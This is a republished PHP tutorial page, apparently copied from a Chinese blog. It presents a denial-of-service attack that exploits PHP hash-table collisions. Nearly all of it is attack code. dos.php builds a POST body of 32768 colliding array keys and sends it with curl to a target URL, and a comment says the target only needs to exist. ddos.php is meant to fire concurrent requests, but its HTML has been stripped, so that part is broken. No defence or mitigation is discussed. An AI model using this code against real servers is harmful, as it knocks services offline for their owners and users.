Home > Backend Development > PHP Tutorial > DDoS attack through PHP hash conflict vulnerability_PHP tutorial

DDoS attack through PHP hash conflict vulnerability_PHP tutorial

WBOY
Release: 2016-07-13 17:49:06
Original
874 people have browsed it

文件dos.php
 // 目标地址
 // 只要目标地址存在,不用管它是干嘛的
 $host = 'http://127.0.0.1/test.php'; 
 
 $data = '';
 $size = pow(2, 15);
 for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
 {
     $data .= '&array[' . $key . ']=0';
 }
 
 $ret = curl($host, ltrim($data,'&'));
 var_dump($ret);
 
 
 function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
 }
 文件ddos.php
 
[php]
 
 
 
 
 DDOS
 


 
 
   for($i=0; $i<5; $i++){//并发数
     echo '';
 }
 ?>
 
 
 
 
摘自chaojie2009的专栏

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/478384.htmlTechArticle文件dos.php // 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = http://127.0.0.1/test.php; $data = ; $size = pow(2, 15); for ($key=0, $max=($size-1)*$s...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template